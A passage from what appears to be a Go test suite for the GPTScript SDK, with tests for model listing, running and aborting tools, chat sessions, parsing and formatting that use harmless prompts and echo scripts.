ensure that using another instance works as expected in all cases. 29 | gFirst, err := NewGPTScript(GlobalOptions{}) 30 | if err != nil { 31 | panic(fmt.Sprintf("error creating gptscript: %s", err)) 32 | } 33 | 34 | g, err = NewGPTScript(GlobalOptions{OpenAIAPIKey: os.Getenv("OPENAI_API_KEY")}) 35 | if err != nil { 36 | gFirst.Close() 37 | panic(fmt.Sprintf("error creating gptscript: %s", err)) 38 | } 39 | 40 | exitCode := m.Run() 41 | g.Close() 42 | gFirst.Close() 43 | os.Exit(exitCode) 44 | } 45 | 46 | func TestCreateAnotherGPTScript(t *testing.T) { 47 | g, err := NewGPTScript(GlobalOptions{}) 48 | if err != nil { 49 | t.Errorf("error creating gptscript: %s", err) 50 | } 51 | defer g.Close() 52 | 53 | version, err := g.Version(context.Background()) 54 | if err != nil { 55 | t.Errorf("error getting version from second gptscript: %s", err) 56 | } 57 | 58 | if !strings.Contains(version, "gptscript version") { 59 | t.Errorf("unexpected gptscript version: %s", version) 60 | } 61 | } 62 | 63 | func TestVersion(t *testing.T) { 64 | out, err := g.Version(context.Background()) 65 | if err != nil { 66 | t.Errorf("Error getting version: %v", err) 67 | } 68 | 69 | if !strings.HasPrefix(out, "gptscript version") { 70 | t.Errorf("Unexpected output: %s", out) 71 | } 72 | } 73 | 74 | func TestListModels(t *testing.T) { 75 | models, err := g.ListModels(context.Background()) 76 | if err != nil { 77 | t.Errorf("Error listing models: %v", err) 78 | } 79 | 80 | if len(models) == 0 { 81 | t.Error("No models found") 82 | } 83 | } 84 | 85 | func TestListModelsWithProvider(t *testing.T) { 86 | if os.Getenv("ANTHROPIC_API_KEY") == "" { 87 | t.Skip("ANTHROPIC_API_KEY not set") 88 | } 89 | models, err := g.ListModels(context.Background(), ListModelsOptions{ 90 | Providers: []string{"github.com/gptscript-ai/claude3-anthropic-provider"}, 91 | CredentialOverrides: []string{"github.com/gptscript-ai/claude3-anthropic-provider/credential:ANTHROPIC_API_KEY"}, 92 | }) 93 | if err != nil { 94 | t.Errorf("Error listing models: %v", err) 95 | } 96 | 97 | if len(models) == 0 { 98 | t.Error("No models found") 99 | } 100 | 101 | for _, model := range models { 102 | if !strings.HasPrefix(model.ID, "claude-3-") || !strings.HasSuffix(model.ID, "from github.com/gptscript-ai/claude3-anthropic-provider") { 103 | t.Errorf("Unexpected model name: %s", model.ID) 104 | } 105 | } 106 | } 107 | 108 | func TestListModelsWithDefaultProvider(t *testing.T) { 109 | if os.Getenv("ANTHROPIC_API_KEY") == "" { 110 | t.Skip("ANTHROPIC_API_KEY not set") 111 | } 112 | g, err := NewGPTScript(GlobalOptions{ 113 | DefaultModelProvider: "github.com/gptscript-ai/claude3-anthropic-provider", 114 | }) 115 | if err != nil { 116 | t.Fatalf("Error creating gptscript: %v", err) 117 | } 118 | defer g.Close() 119 | 120 | models, err := g.ListModels(context.Background(), ListModelsOptions{ 121 | CredentialOverrides: []string{"github.com/gptscript-ai/claude3-anthropic-provider/credential:ANTHROPIC_API_KEY"}, 122 | }) 123 | if err != nil { 124 | t.Errorf("Error listing models: %v", err) 125 | } 126 | 127 | if len(models) == 0 { 128 | t.Error("No models found") 129 | } 130 | 131 | for _, model := range models { 132 | if !strings.HasPrefix(model.ID, "claude-3-") || !strings.HasSuffix(model.ID, "from github.com/gptscript-ai/claude3-anthropic-provider") { 133 | t.Errorf("Unexpected model name: %s", model.ID) 134 | } 135 | } 136 | } 137 | 138 | func TestCancelRun(t *testing.T) { 139 | tool := ToolDef{Instructions: "What is the capital of the united states?"} 140 | 141 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true, IncludeEvents: true}, tool) 142 | if err != nil { 143 | t.Errorf("Error executing tool: %v", err) 144 | } 145 | 146 | // Abort the run after the first event. 147 | <-run.Events() 148 | 149 | if err := run.Close(); err != nil { 150 | t.Errorf("Error canceling run: %v", err) 151 | } 152 | 153 | if run.State() != Error { 154 | t.Errorf("Unexpected run state: %s", run.State()) 155 | } 156 | 157 | if run.Err() == nil { 158 | t.Error("Expected error but got nil") 159 | } 160 | } 161 | 162 | func TestAbortChatCompletionRun(t *testing.T) { 163 | tool := ToolDef{Instructions: "Generate a real long essay about the meaning of life."} 164 | 165 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true, IncludeEvents: true}, tool) 166 | if err != nil { 167 | t.Errorf("Error executing tool: %v", err) 168 | } 169 | 170 | // Abort the run after the first event from the LLM 171 | for e := range run.Events() { 172 | if e.Call != nil && e.Call.Type == EventTypeCallProgress && len(e.Call.Output) > 0 && e.Call.Output[0].Content != "Waiting for model response..." { 173 | break 174 | } 175 | } 176 | 177 | if err := g.AbortRun(context.Background(), run); err != nil { 178 | t.Errorf("Error aborting run: %v", err) 179 | } 180 | 181 | // Wait for run to stop 182 | for range run.Events() { 183 | continue 184 | } 185 | 186 | if run.State() != Finished { 187 | t.Errorf("Unexpected run state: %s", run.State()) 188 | } 189 | 190 | if out, err := run.Text(); err != nil { 191 | t.Errorf("Error reading output: %v", err) 192 | } else if strings.TrimSpace(out) != "ABORTED BY USER" && !strings.HasSuffix(out, "\nABORTED BY USER") { 193 | t.Errorf("Unexpected output: %s", out) 194 | } 195 | } 196 | 197 | func TestAbortCommandRun(t *testing.T) { 198 | tool := ToolDef{Instructions: "#!/usr/bin/env bash\necho Hello, world!\nsleep 5\necho Hello, again!\nsleep 5"} 199 | 200 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true, IncludeEvents: true}, tool) 201 | if err != nil { 202 | t.Errorf("Error executing tool: %v", err) 203 | } 204 | 205 | // Abort the run after the first event. 206 | for e := range run.Events() { 207 | if e.Call != nil && e.Call.Type == EventTypeChat { 208 | time.Sleep(2 * time.Second) 209 | break 210 | } 211 | } 212 | 213 | if err := g.AbortRun(context.Background(), run); err != nil { 214 | t.Errorf("Error aborting run: %v", err) 215 | } 216 | 217 | // Wait for run to stop 218 | for range run.Events() { 219 | continue 220 | } 221 | 222 | if run.State() != Finished { 223 | t.Errorf("Unexpected run state: %s", run.State()) 224 | } 225 | 226 | if out, err := run.Text(); err != nil { 227 | t.Errorf("Error reading output: %v", err) 228 | } else if !strings.Contains(out, "Hello, world!") || strings.Contains(out, "Hello, again!") || !strings.HasSuffix(out, "\nABORTED BY USER") { 229 | t.Errorf("Unexpected output: %s", out) 230 | } 231 | } 232 | 233 | func TestSimpleEvaluate(t *testing.T) { 234 | tool := ToolDef{Instructions: "What is the capital of the united states?"} 235 | 236 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true}, tool) 237 | if err != nil { 238 | t.Errorf("Error executing tool: %v", err) 239 | } 240 | 241 | out, err := run.Text() 242 | if err != nil { 243 | t.Errorf("Error reading output: %v", err) 244 | } 245 | 246 | if !strings.Contains(out, "Washington") { 247 | t.Errorf("Unexpected output: %s", out) 248 | } 249 | 250 | // This should be able to be called multiple times and produce the same answer. 251 | out, err = run.Text() 252 | if err != nil { 253 | t.Errorf("Error reading output: %v", err) 254 | } 255 | 256 | if !strings.Contains(out, "Washington") { 257 | t.Errorf("Unexpected output: %s", out) 258 | } 259 | 260 | if run.Program() == nil { 261 | t.Error("Run program not set") 262 | } 263 | 264 | var promptTokens, completionTokens, totalTokens int 265 | for _, c := range run.calls { 266 | promptTokens += c.Usage.PromptTokens 267 | completionTokens += c.Usage.CompletionTokens 268 | totalTokens += c.Usage.TotalTokens 269 | } 270 | 271 | if promptTokens == 0 || completionTokens == 0 || totalTokens == 0 { 272 | t.Errorf("Usage not set: %d, %d, %d", promptTokens, completionTokens, totalTokens) 273 | } 274 | } 275 | 276 | func TestEvaluateWithContext(t *testing.T) { 277 | wd, err := os.Getwd() 278 | if err != nil { 279 | t.Fatalf("Error getting current working directory: %v", err) 280 | } 281 | 282 | tool := ToolDef{ 283 | Instructions: "What is the capital of the united states?", 284 | Tools: []string{ 285 | wd + "/test/acorn-labs-context.gpt", 286 | }, 287 | } 288 | 289 | run, err := g.Evaluate(context.Background(), Options{}, tool) 290 | if err != nil { 291 | t.Errorf("Error executing tool: %v", err) 292 | } 293 | 294 | out, err := run.Text() 295 | if err != nil { 296 | t.Errorf("Error reading output: %v", err) 297 | } 298 | 299 | if out != "Acorn Labs" { 300 | t.Errorf("Unexpected output: %s", out) 301 | } 302 | } 303 | 304 | func TestEvaluateComplexTool(t *testing.T) { 305 | tool := ToolDef{ 306 | JSONResponse: true, 307 | Instructions: ` 308 | Create three short graphic artist descriptions and their muses. 309 | These should be descriptive and explain their point of view. 310 | Also come up with a made up name, they each should be from different 311 | backgrounds and approach art differently. 312 | the response should be in JSON and match the format: 313 | { 314 | artists: [{ 315 | name: "name" 316 | description: "description" 317 | }] 318 | } 319 | `, 320 | } 321 | 322 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true}, tool) 323 | if err != nil { 324 | t.Errorf("Error executing tool: %v", err) 325 | } 326 | 327 | out, err := run.Text() 328 | if err != nil { 329 | t.Errorf("Error reading output: %v", err) 330 | } 331 | 332 | if !strings.Contains(out, "\"artists\":") { 333 | t.Errorf("Unexpected output: %s", out) 334 | } 335 | } 336 | 337 | func TestEvaluateWithToolList(t *testing.T) { 338 | shebang := "#!/bin/bash" 339 | if runtime.GOOS == "windows" { 340 | shebang = "#!/usr/bin/env powershell.exe" 341 | } 342 | tools := []ToolDef{ 343 | { 344 | Tools: []string{"echo"}, 345 | Instructions: "echo hello there", 346 | }, 347 | { 348 | Name: "echo", 349 | Tools: []string{"sys.exec"}, 350 | Description: "Echoes the input", 351 | Arguments: ObjectSchema("input", "The string input to echo"), 352 | Instructions: shebang + "\necho ${input}", 353 | }, 354 | } 355 | 356 | run, err := g.Evaluate(context.Background(), Options{}, tools...) 357 | if err != nil { 358 | t.Errorf("Error executing tool: %v", err) 359 | } 360 | 361 | out, err := run.Text() 362 | if err != nil { 363 | t.Errorf("Error reading output: %v", err) 364 | } 365 | 366 | if !strings.Contains(out, "hello there") { 367 | t.Errorf("Unexpected output: %s", out) 368 | } 369 | 370 | // In this case, we expect the total number of tool results to be 1 371 | var toolResults int 372 | for _, c := range run.calls { 373 | toolResults += c.ToolResults 374 | } 375 | 376 | if toolResults != 1 { 377 | t.Errorf("Unexpected number of tool results: %d", toolResults) 378 | } 379 | } 380 | 381 | func TestEvaluateWithToolListAndSubTool(t *testing.T) { 382 | shebang := "#!/bin/bash" 383 | if runtime.GOOS == "windows" { 384 | shebang = "#!/usr/bin/env powershell.exe" 385 | } 386 | tools := []ToolDef{ 387 | { 388 | Tools: []string{"echo"}, 389 | Instructions: "echo 'hello there'", 390 | }, 391 | { 392 | Name: "other", 393 | Tools: []string{"echo"}, 394 | Instructions: "echo 'hello somewhere else'", 395 | }, 396 | { 397 | Name: "echo", 398 | Tools: []string{"sys.exec"}, 399 | Description: "Echoes the input", 400 | Arguments: ObjectSchema("input", "The string input to echo"), 401 | Instructions: shebang + "\n echo ${input}", 402 | }, 403 | } 404 | 405 | run, err := g.Evaluate(context.Background(), Options{SubTool: "other"}, tools...) 406 | if err != nil { 407 | t.Errorf("Error executing tool: %v", err) 408 | } 409 | 410 | out, err := run.Text() 411 | if err != nil { 412 | t.Errorf("Error reading output: %v", err) 413 | } 414 | 415 | if !strings.Contains(out, "hello somewhere else") { 416 | t.Errorf("Unexpected output: %s", out) 417 | } 418 | } 419 | 420 | func TestStreamEvaluate(t *testing.T) { 421 | var eventContent string 422 | tool := ToolDef{Instructions: "What is the capital of the united states?"} 423 | 424 | run, err := g.Evaluate(context.Background(), Options{IncludeEvents: true}, tool) 425 | if err != nil { 426 | t.Fatalf("Error executing tool: %v", err) 427 | } 428 | 429 | for e := range run.Events() { 430 | if e.Call != nil { 431 | for _, o := range e.Call.Output { 432 | eventContent += o.Content 433 | } 434 | } 435 | } 436 | 437 | out, err := run.Text() 438 | if err != nil { 439 | t.Errorf("Error reading output: %v", err) 440 | } 441 | 442 | if !strings.Contains(eventContent, "Washington") { 443 | t.Errorf("Unexpected event output: %s", eventContent) 444 | } 445 | 446 | if !strings.Contains(out, "Washington") { 447 | t.Errorf("Unexpected output: %s", out) 448 | } 449 | 450 | if len(run.ErrorOutput()) != 0 { 451 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 452 | } 453 | } 454 | 455 | func TestSimpleRun(t *testing.T) { 456 | wd, err := os.Getwd() 457 | if err != nil { 458 | t.Fatalf("Error getting working directory: %v", err) 459 | } 460 | 461 | run, err := g.Run(context.Background(), wd+"/test/catcher.gpt", Options{}) 462 | if err != nil { 463 | t.Fatalf("Error executing file: %v", err) 464 | } 465 | 466 | out, err := run.Text() 467 | if err != nil { 468 | t.Errorf("Error reading output: %v", err) 469 | } 470 | 471 | if !strings.Contains(out, "Salinger") { 472 | t.Errorf("Unexpected output: %s", out) 473 | } 474 | 475 | if len(run.ErrorOutput()) != 0 { 476 | t.Error("Should have no stderr output") 477 | } 478 | 479 | // Run it a second time, ensuring the same output and that a cached response is used 480 | run, err = g.Run(context.Background(), wd+"/test/catcher.gpt", Options{}) 481 | if err != nil { 482 | t.Fatalf("Error executing file: %v", err) 483 | } 484 | 485 | secondOut, err := run.Text() 486 | if err != nil { 487 | t.Errorf("Error reading output: %v", err) 488 | } 489 | 490 | if secondOut != out { 491 | t.Errorf("Unexpected output on second run: %s != %s", out, secondOut) 492 | } 493 | 494 | // In this case, we expect a single call and that the response is cached 495 | for _, c := range run.calls { 496 | if !c.ChatResponseCached { 497 | t.Error("Chat response should be cached") 498 | } 499 | break 500 | } 501 | } 502 | 503 | func TestStreamRun(t *testing.T) { 504 | wd, err := os.Getwd() 505 | if err != nil { 506 | t.Fatalf("Error getting working directory: %v", err) 507 | } 508 | 509 | var eventContent string 510 | run, err := g.Run(context.Background(), wd+"/test/catcher.gpt", Options{IncludeEvents: true}) 511 | if err != nil { 512 | t.Fatalf("Error executing file: %v", err) 513 | } 514 | 515 | for e := range run.Events() { 516 | if e.Call != nil { 517 | for _, o := range e.Call.Output { 518 | eventContent += o.Content 519 | } 520 | } 521 | } 522 | 523 | out, err := run.Text() 524 | if err != nil { 525 | t.Errorf("Error reading output: %v", err) 526 | } 527 | 528 | if !strings.Contains(eventContent, "Salinger") { 529 | t.Errorf("Unexpected event output: %s", eventContent) 530 | } 531 | 532 | if !strings.Contains(out, "Salinger") { 533 | t.Errorf("Unexpected output: %s", out) 534 | } 535 | 536 | if len(run.ErrorOutput()) != 0 { 537 | t.Error("Should have no stderr output") 538 | } 539 | } 540 | 541 | func TestRestartFailedRun(t *testing.T) { 542 | shebang := "#!/bin/bash" 543 | instructions := "%s\nexit ${EXIT_CODE}" 544 | if runtime.GOOS == "windows" { 545 | shebang = "#!/usr/bin/env powershell.exe" 546 | instructions = "%s\nexit $env:EXIT_CODE" 547 | } 548 | instructions = fmt.Sprintf(instructions, shebang) 549 | tools := []ToolDef{ 550 | { 551 | Instructions: "say hello", 552 | Tools: []string{"my-context"}, 553 | }, 554 | { 555 | Name: "my-context", 556 | Type: "context", 557 | Instructions: instructions, 558 | }, 559 | } 560 | run, err := g.Evaluate(context.Background(), Options{GlobalOptions: GlobalOptions{Env: []string{"EXIT_CODE=1"}}, DisableCache: true}, tools...) 561 | if err != nil { 562 | t.Fatalf("Error executing tool: %v", err) 563 | } 564 | 565 | _, err = run.Text() 566 | if err == nil { 567 | t.Errorf("Expected error but got nil") 568 | } 569 | 570 | run.opts.GlobalOptions.Env = nil 571 | run, err = run.NextChat(context.Background(), "") 572 | if err != nil { 573 | t.Fatalf("Error executing next run: %v", err) 574 | } 575 | 576 | _, err = run.Text() 577 | if err != nil { 578 | t.Errorf("Error reading output: %v", err) 579 | } 580 | } 581 | 582 | func TestCredentialOverride(t *testing.T) { 583 | wd, err := os.Getwd() 584 | if err != nil { 585 | t.Fatalf("Error getting working directory: %v", err) 586 | } 587 | 588 | gptscriptFile := "credential-override.gpt" 589 | if runtime.GOOS == "windows" { 590 | gptscriptFile = "credential-override-windows.gpt" 591 | } 592 | 593 | run, err := g.Run(context.Background(), filepath.Join(wd, "test", gptscriptFile), Options{ 594 | DisableCache: true, 595 | CredentialOverrides: []string{ 596 | "test.ts.credential_override:TEST_CRED=foo", 597 | }, 598 | }) 599 | if err != nil { 600 | t.Fatalf("Error executing file: %v", err) 601 | } 602 | 603 | out, err := run.Text() 604 | if err != nil { 605 | t.Errorf("Error reading output: %v", err) 606 | } 607 | 608 | if !strings.Contains(out, "foo") { 609 | t.Errorf("Unexpected output: %s", out) 610 | } 611 | 612 | if len(run.ErrorOutput()) != 0 { 613 | t.Error("Should have no stderr output") 614 | } 615 | } 616 | 617 | func TestParseSimpleFile(t *testing.T) { 618 | wd, err := os.Getwd() 619 | if err != nil { 620 | t.Fatalf("Error getting working directory: %v", err) 621 | } 622 | 623 | tools, err := g.Parse(context.Background(), wd+"/test/test.gpt") 624 | if err != nil { 625 | t.Errorf("Error parsing file: %v", err) 626 | } 627 | 628 | if len(tools) != 1 { 629 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 630 | } 631 | 632 | if tools[0].ToolNode == nil { 633 | t.Fatalf("No tool node found") 634 | } 635 | 636 | if tools[0].ToolNode.Tool.Instructions != "Respond with a hello, in a random language. Also include the language in the response." { 637 | t.Errorf("Unexpected instructions: %s", tools[0].ToolNode.Tool.Instructions) 638 | } 639 | } 640 | 641 | func TestParseEmptyFile(t *testing.T) { 642 | wd, err := os.Getwd() 643 | if err != nil { 644 | t.Fatalf("Error getting working directory: %v", err) 645 | } 646 | 647 | tools, err := g.Parse(context.Background(), wd+"/test/empty.gpt") 648 | if err != nil { 649 | t.Errorf("Error parsing file: %v", err) 650 | } 651 | 652 | if len(tools) != 0 { 653 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 654 | } 655 | } 656 | 657 | func TestParseFileWithMetadata(t *testing.T) { 658 | wd, err := os.Getwd() 659 | if err != nil { 660 | t.Fatalf("Error getting working directory: %v", err) 661 | } 662 | 663 | tools, err := g.Parse(context.Background(), wd+"/test/parse-with-metadata.gpt") 664 | if err != nil { 665 | t.Errorf("Error parsing file: %v", err) 666 | } 667 | 668 | if len(tools) != 2 { 669 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 670 | } 671 | 672 | if tools[0].ToolNode == nil { 673 | t.Fatalf("No tool node found") 674 | } 675 | 676 | if !strings.Contains(tools[0].ToolNode.Tool.Instructions, "requests.get(") { 677 | t.Errorf("Unexpected instructions: %s", tools[0].ToolNode.Tool.Instructions) 678 | } 679 | 680 | if tools[0].ToolNode.Tool.MetaData["requirements.txt"] != "requests" { 681 | t.Errorf("Unexpected metadata: %s", tools[0].ToolNode.Tool.MetaData["requirements.txt"]) 682 | } 683 | 684 | if tools[1].TextNode == nil { 685 | t.Fatalf("No text node found") 686 | } 687 | 688 | if tools[1].TextNode.Fmt != "metadata:foo:requirements.txt" { 689 | t.Errorf("Unexpected text: %s", tools[1].TextNode.Fmt) 690 | } 691 | } 692 | 693 | func TestParseTool(t *testing.T) { 694 | tools, err := g.ParseContent(context.Background(), "echo hello") 695 | if err != nil { 696 | t.Errorf("Error parsing tool: %v", err) 697 | } 698 | 699 | if len(tools) != 1 { 700 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 701 | } 702 | 703 | if tools[0].ToolNode == nil { 704 | t.Fatalf("No tool node found") 705 | } 706 | 707 | if tools[0].ToolNode.Tool.Instructions != "echo hello" { 708 | t.Errorf("Unexpected instructions: %s", tools[0].ToolNode.Tool.Instructions) 709 | } 710 | } 711 | 712 | func TestEmptyParseTool(t *testing.T) { 713 | tools, err := g.ParseContent(context.Background(), "") 714 | if err != nil { 715 | t.Errorf("Error parsing tool: %v", err) 716 | } 717 | 718 | if len(tools) != 0 { 719 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 720 | } 721 | } 722 | 723 | func TestParseToolWithTextNode(t *testing.T) { 724 | tools, err := g.ParseContent(context.Background(), "echo hello\n---\n!markdown\nhello") 725 | if err != nil { 726 | t.Errorf("Error parsing tool: %v", err) 727 | } 728 | 729 | if len(tools) != 2 { 730 | t.Fatalf("Unexpected number of tools: %d", len(tools)) 731 | } 732 | 733 | if tools[0].ToolNode == nil { 734 | t.Fatalf("No tool node found") 735 | } 736 | 737 | if tools[0].ToolNode.Tool.Instructions != "echo hello" { 738 | t.Errorf("Unexpected instructions: %s", tools[0].ToolNode.Tool.Instructions) 739 | } 740 | 741 | if tools[1].TextNode == nil { 742 | t.Fatalf("No text node found") 743 | } 744 | 745 | if strings.TrimSpace(tools[1].TextNode.Text) != "hello" { 746 | t.Errorf("Unexpected text: %s", tools[1].TextNode.Text) 747 | } 748 | if tools[1].TextNode.Fmt != "markdown" { 749 | t.Errorf("Unexpected fmt: %s", tools[1].TextNode.Fmt) 750 | } 751 | } 752 | 753 | func TestFmt(t *testing.T) { 754 | nodes := []Node{ 755 | { 756 | ToolNode: &ToolNode{ 757 | Tool: Tool{ 758 | ToolDef: ToolDef{ 759 | Tools: []string{"echo"}, 760 | Instructions: "echo hello there", 761 | }, 762 | }, 763 | }, 764 | }, 765 | { 766 | ToolNode: &ToolNode{ 767 | Tool: Tool{ 768 | ToolDef: ToolDef{ 769 | Name: "echo", 770 | Instructions: "#!/bin/bash\necho hello there", 771 | Arguments: &openapi3.Schema{ 772 | Type: &openapi3.Types{"object"}, 773 | Properties: map[string]*openapi3.SchemaRef{ 774 | "input": { 775 | Value: &openapi3.Schema{ 776 | Description: "The string input to echo", 777 | Type: &openapi3.Types{"string"}, 778 | }, 779 | }, 780 | }, 781 | }, 782 | }, 783 | }, 784 | }, 785 | }, 786 | } 787 | 788 | out, err := g.Fmt(context.Background(), nodes) 789 | if err != nil { 790 | t.Errorf("Error formatting nodes: %v", err) 791 | } 792 | 793 | if out != `Tools: echo 794 | 795 | echo hello there 796 | 797 | --- 798 | Name: echo 799 | Parameter: input: The string input to echo 800 | 801 | #!/bin/bash 802 | echo hello there 803 | ` { 804 | t.Errorf("Unexpected output: %s", out) 805 | } 806 | } 807 | 808 | func TestFmtWithTextNode(t *testing.T) { 809 | nodes := []Node{ 810 | { 811 | ToolNode: &ToolNode{ 812 | Tool: Tool{ 813 | ToolDef: ToolDef{ 814 | Tools: []string{"echo"}, 815 | Instructions: "echo hello there", 816 | }, 817 | }, 818 | }, 819 | }, 820 | { 821 | TextNode: &TextNode{ 822 | Fmt: "markdown", 823 | Text: "We now echo hello there\n", 824 | }, 825 | }, 826 | { 827 | ToolNode: &ToolNode{ 828 | Tool: Tool{ 829 | ToolDef: ToolDef{ 830 | Instructions: "#!/bin/bash\necho hello there", 831 | Name: "echo", 832 | Arguments: &openapi3.Schema{ 833 | Type: &openapi3.Types{"object"}, 834 | Properties: map[string]*openapi3.SchemaRef{ 835 | "input": { 836 | Value: &openapi3.Schema{ 837 | Description: "The string input to echo", 838 | Type: &openapi3.Types{"string"}, 839 | }, 840 | }, 841 | }, 842 | }, 843 | }, 844 | }, 845 | }, 846 | }, 847 | } 848 | 849 | out, err := g.Fmt(context.Background(), nodes) 850 | if err != nil { 851 | t.Errorf("Error formatting nodes: %v", err) 852 | } 853 | 854 | if out != `Tools: echo 855 | 856 | echo hello there 857 | 858 | --- 859 | !markdown 860 | We now echo hello there 861 | --- 862 | Name: echo 863 | Parameter: input: The string input to echo 864 | 865 | #!/bin/bash 866 | echo hello there 867 | ` { 868 | t.Errorf("Unexpected output: %s", out) 869 | } 870 | } 871 | 872 | func TestToolChat(t *testing.T) { 873 | tool := ToolDef{ 874 | Chat: true, 875 | Instructions: "You are a chat bot. Don't finish the conversation until I say 'bye'.", 876 | Tools: []string{"sys.chat.finish"}, 877 | } 878 | 879 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true}, tool) 880 | if err != nil { 881 | t.Fatalf("Error executing tool: %v", err) 882 | } 883 | inputs := []string{ 884 | "List the three largest states in the United States by area.", 885 | "What is the capital of the third one?", 886 | "What timezone is the first one in?", 887 | } 888 | 889 | expectedOutputs := []string{ 890 | "California", 891 | "Sacramento", 892 | "Alaska Time Zone", 893 | } 894 | 895 | // Just wait for the chat to start up. 896 | _, err = run.Text() 897 | if err != nil { 898 | t.Fatalf("Error waiting for initial output: %v", err) 899 | } 900 | 901 | for i, input := range inputs { 902 | run, err = run.NextChat(context.Background(), input) 903 | if err != nil { 904 | t.Fatalf("Error sending next input %q: %v", input, err) 905 | } 906 | 907 | out, err := run.Text() 908 | if err != nil { 909 | t.Errorf("Error reading output: %s", run.ErrorOutput()) 910 | t.Fatalf("Error reading output: %v", err) 911 | } 912 | 913 | if !strings.Contains(out, expectedOutputs[i]) { 914 | t.Fatalf("Unexpected output: %s", out) 915 | } 916 | } 917 | } 918 | 919 | func TestAbortChat(t *testing.T) { 920 | tool := ToolDef{ 921 | Chat: true, 922 | Instructions: "You are a chat bot. Don't finish the conversation until I say 'bye'.", 923 | Tools: []string{"sys.chat.finish"}, 924 | } 925 | 926 | run, err := g.Evaluate(context.Background(), Options{DisableCache: true, IncludeEvents: true}, tool) 927 | if err != nil { 928 | t.Fatalf("Error executing tool: %v", err) 929 | } 930 | inputs := []string{ 931 | "Tell me a joke.", 932 | "What was my first message?", 933 | } 934 | 935 | // Just wait for the chat to start up. 936 | for range run.Events() { 937 | continue 938 | } 939 | 940 | for i, input := range inputs { 941 | run, err = run.NextChat(context.Background(), input) 942 | if err != nil { 943 | t.Fatalf("Error sending next input %q: %v", input, err) 944 | } 945 | 946 | // Abort the run after the first event from the LLM 947 | for e := range run.Events() { 948 | if e.Call != nil && e.Call.Type == EventTypeCallProgress && len(e.Call.Output) > 0 && e.Call.Output[0].Content != "Waiting for model response..." { 949 | break 950 | } 951 | } 952 | 953 | if i == 0 { 954 | if err := g.AbortRun(context.Background(), run); err != nil { 955 | t.Fatalf("Error aborting run: %v", err) 956 | } 957 | } 958 | 959 | // Wait for the run to complete 960 | for range run.Events() { 961 | continue 962 | } 963 | 964 | out, err := run.Text() 965 | if err != nil { 966 | t.Errorf("Error reading output: %s", run.ErrorOutput()) 967 | t.Fatalf("Error reading output: %v", err) 968 | } 969 | 970 | if i == 0 { 971 | if strings.TrimSpace(out) != "ABORTED BY USER" && !strings.HasSuffix(out, "\nABORTED BY USER") { 972 | t.Fatalf("Unexpected output: %s", out) 973 | } 974 | } else { 975 | if !strings.Contains(out, "Tell me a joke") { 976 | t.Errorf("Unexpected output: %s", out) 977 | } 978 | } 979 | } 980 | } 981 | 982 | func TestFileChat(t *testing.T) { 983 | wd, err := os.Getwd() 984 | if err != nil { 985 | t.Fatalf("Error getting current working directory: %v", err) 986 | } 987 | 988 | run, err := g.Run(context.Background(), wd+"/test/chat.gpt", Options{}) 989 | if err != nil { 990 | t.Fatalf("Error executing tool: %v", err) 991 | } 992 | inputs := []string{ 993 | "List the 3 largest of the Great Lakes by volume.", 994 | "What is the second one in the list?", 995 | "What is the third?", 996 | } 997 | 998 | expectedOutputs := []string{ 999 | "Lake Superior", 1000 | "Lake Michigan", 1001 | "Lake Huron", 1002 | } 1003 | 1004 | // Just wait for the chat to start up. 1005 | _, err = run.Text() 1006 | if err != nil { 1007 | t.Fatalf("Error waiting for initial output: %v", err) 1008 | } 1009 | 1010 | for i, input := range inputs { 1011 | run, err = run.NextChat(context.Background(), input) 1012 | if err != nil { 1013 | t.Fatalf("Error sending next input %q: %v", input, err) 1014 | } 1015 | 1016 | out, err := run.Text() 1017 | if err != nil { 1018 | t.Errorf("Error reading output: %s", run.ErrorOutput()) 1019 | t.Fatalf("Error reading output: %v", err) 1020 | } 1021 | 1022 | if !strings.Contains(out, expectedOutputs[i]) { 1023 | t.Fatalf("Unexpected output: %s", out) 1024 | } 1025 | } 1026 | } 1027 | 1028 | func TestToolWithGlobalTools(t *testing.T) { 1029 | var runStartSeen, callStartSeen, callFinishSeen, callProgressSeen, runFinishSeen bool 1030 | wd, err := os.Getwd() 1031 | if err != nil { 1032 | t.Fatalf("Error getting current working directory: %v", err) 1033 | } 1034 | 1035 | var eventContent string 1036 | 1037 | run, err := g.Run(context.Background(), wd+"/test/global-tools.gpt", Options{DisableCache: true, IncludeEvents: true, CredentialOverrides: []string{"github.com/gptscript-ai/gateway:OPENAI_API_KEY"}}) 1038 | if err != nil { 1039 | t.Fatalf("Error executing tool: %v", err) 1040 | } 1041 | 1042 | for e := range run.Events() { 1043 | if e.Run != nil { 1044 | if e.Run.Type == EventTypeRunStart { 1045 | runStartSeen = true 1046 | } else if e.Run.Type == EventTypeRunFinish { 1047 | runFinishSeen = true 1048 | } 1049 | } else if e.Call != nil { 1050 | if e.Call.Type == EventTypeCallStart { 1051 | callStartSeen = true 1052 | } else if e.Call.Type == EventTypeCallFinish { 1053 | callFinishSeen = true 1054 | 1055 | for _, o := range e.Call.Output { 1056 | eventContent += o.Content 1057 | } 1058 | } else if e.Call.Type == EventTypeCallProgress { 1059 | callProgressSeen = true 1060 | } 1061 | } 1062 | } 1063 | 1064 | out, err := run.Text() 1065 | if err != nil { 1066 | t.Errorf("Error reading output: %v", err) 1067 | } 1068 | 1069 | if !strings.Contains(eventContent, "Hello") { 1070 | t.Errorf("Unexpected event output: %s", eventContent) 1071 | } 1072 | 1073 | if !strings.Contains(out, "Hello!") { 1074 | t.Errorf("Unexpected output: %s", out) 1075 | } 1076 | 1077 | if len(run.ErrorOutput()) != 0 { 1078 | t.Errorf("Should have no stderr output: %v", run.ErrorOutput()) 1079 | } 1080 | 1081 | if !runStartSeen || !callStartSeen || !callFinishSeen || !runFinishSeen || !callProgressSeen { 1082 | t.Errorf("Missing events: %t %t %t %t %t", runStartSeen, callStartSeen, callFinishSeen, runFinishSeen, callProgressSeen) 1083 | } 1084 | } 1085 | 1086 | func TestConfirm(t *testing.T) { 1087 | var eventContent string 1088 | tools := ToolDef{ 1089 | Instructions: "List all the files in the current 